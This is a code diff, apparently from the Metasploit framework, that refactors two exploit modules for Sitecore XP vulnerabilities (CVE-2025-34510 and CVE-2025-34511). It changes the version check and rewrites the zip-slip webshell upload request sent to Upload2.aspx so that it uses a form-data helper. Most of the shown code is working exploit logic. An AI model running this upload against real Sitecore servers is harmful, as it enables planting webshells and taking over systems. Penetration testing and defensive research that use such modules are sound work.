Uses between? for version check, clearer webshell upload

Author: msutovsky-r7

modules/exploits/windows/http/sitecore_xp_cve_2025_34510.rb

@@ -70,7 +70,7 @@ def check
 
     sitecore_version = get_version
 
-    return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version <= Rex::Version.new('10.4') && sitecore_version >= Rex::Version.new('10.0.0')
+    return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
 
     Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
   end
@@ -307,57 +307,22 @@ def upload_zipslip
 
     zip_data = zip.pack
 
-    boundary = Rex::Text.rand_text_alphanumeric(31).to_s
-
-    data_post = "------geckoformboundary#{boundary}\r\n"
-    data_post << "Content-Disposition: form-data; name=\"__CSRFTOKEN\"\r\n\r\n"
-    data_post << "#{hidden_inputs.dig(0, '__CSRFTOKEN')}\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"__VIEWSTATE\"\r\n\r\n"
-    data_post << "#{view_state['value']}\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"__VIEWSTATE\"\r\n\r\n"
-    data_post << "\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"Item\"\r\n\r\n"
-    data_post << "#{hidden_inputs.dig(0, 'Item')}\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"Language\"\r\n\r\n"
-    data_post << "#{hidden_inputs.dig(0, 'Language')}\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"Path\"\r\n\r\n"
-    data_post << "#{hidden_inputs.dig(0, 'Path')}\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"Unzip\"\r\n\r\n"
-    data_post << "1\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"Overwrite\"\r\n\r\n"
-    data_post << "#{hidden_inputs.dig(0, 'Overwrite')}\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"#{file_param}\"; filename=\"#{fake_zip}\"\r\n"
-    data_post << "Content-Type: application/zip\r\n\r\n"
-    data_post << "#{zip_data}\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
-    data_post << "Content-Disposition: form-data; name=\"#{new_file_input}\"; filename=\"\"\r\n"
-    data_post << "Content-Type: application/octet-stream\r\n\r\n"
-    data_post << "\r\n"
-    data_post << "------geckoformboundary#{boundary}\r\n"
-
+    vars_form_data = [
+      { 'name' => '__CSRFTOKEN', 'data' => hidden_inputs.dig(0, '__CSRFTOKEN') },
+      { 'name' => '__VIEWSTATE', 'data' => view_state['value'] },
+      { 'name' => 'Item', 'data' => hidden_inputs.dig(0, 'Item') },
+      { 'name' => 'Language', 'data' => hidden_inputs.dig(0, 'Language') },
+      { 'name' => 'Path', 'data' => hidden_inputs.dig(0, 'Path') },
+      { 'name' => 'Unzip', 'data' => '1' },
+      { 'name' => 'Overwrite', 'data' => hidden_inputs.dig(0, 'Overwrite') },
+      { 'name' => file_param, 'data' => zip_data, 'content_type' => 'application/zip', 'encoding' => 'binary', 'filename' => fake_zip },
+      { 'name' => new_file_input, 'data' => '', 'content_type' => 'application/octet-stream', 'filename' => '' }
+    ]
     res = send_request_cgi({
       'method' => 'POST',
       'uri' => normalize_uri('sitecore', 'shell', 'Applications', 'Dialogs', 'Upload', 'Upload2.aspx'),
       'vars_get' => { 'hdl' => 'sc_ct_trk' },
-      'data' => data_post,
-      'ctype' => "multipart/form-data; boundary=----geckoformboundary#{boundary}"
+      'vars_form_data' => vars_form_data
     })
 
     return false unless res&.code == 200 && res.body.include?('Done')

modules/exploits/windows/http/sitecore_xp_cve_2025_34511.rb

@@ -77,7 +77,7 @@ def check
 
     return Exploit::CheckCode::Safe('PowerShell extension not detected, might not be installed in target Sitecore instance') unless res&.code == 200
 
-    return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version <= Rex::Version.new('10.4') && sitecore_version >= Rex::Version.new('10.0.0')
+    return Exploit::CheckCode::Vulnerable("Sitecore version detected #{sitecore_version}, which is vulnerable") if sitecore_version.between?(Rex::Version.new('10.0.0'), Rex::Version.new('10.4'))
 
     Exploit::CheckCode::Safe("Detected Sitecore version #{sitecore_version}, which is not vulnerable")
   end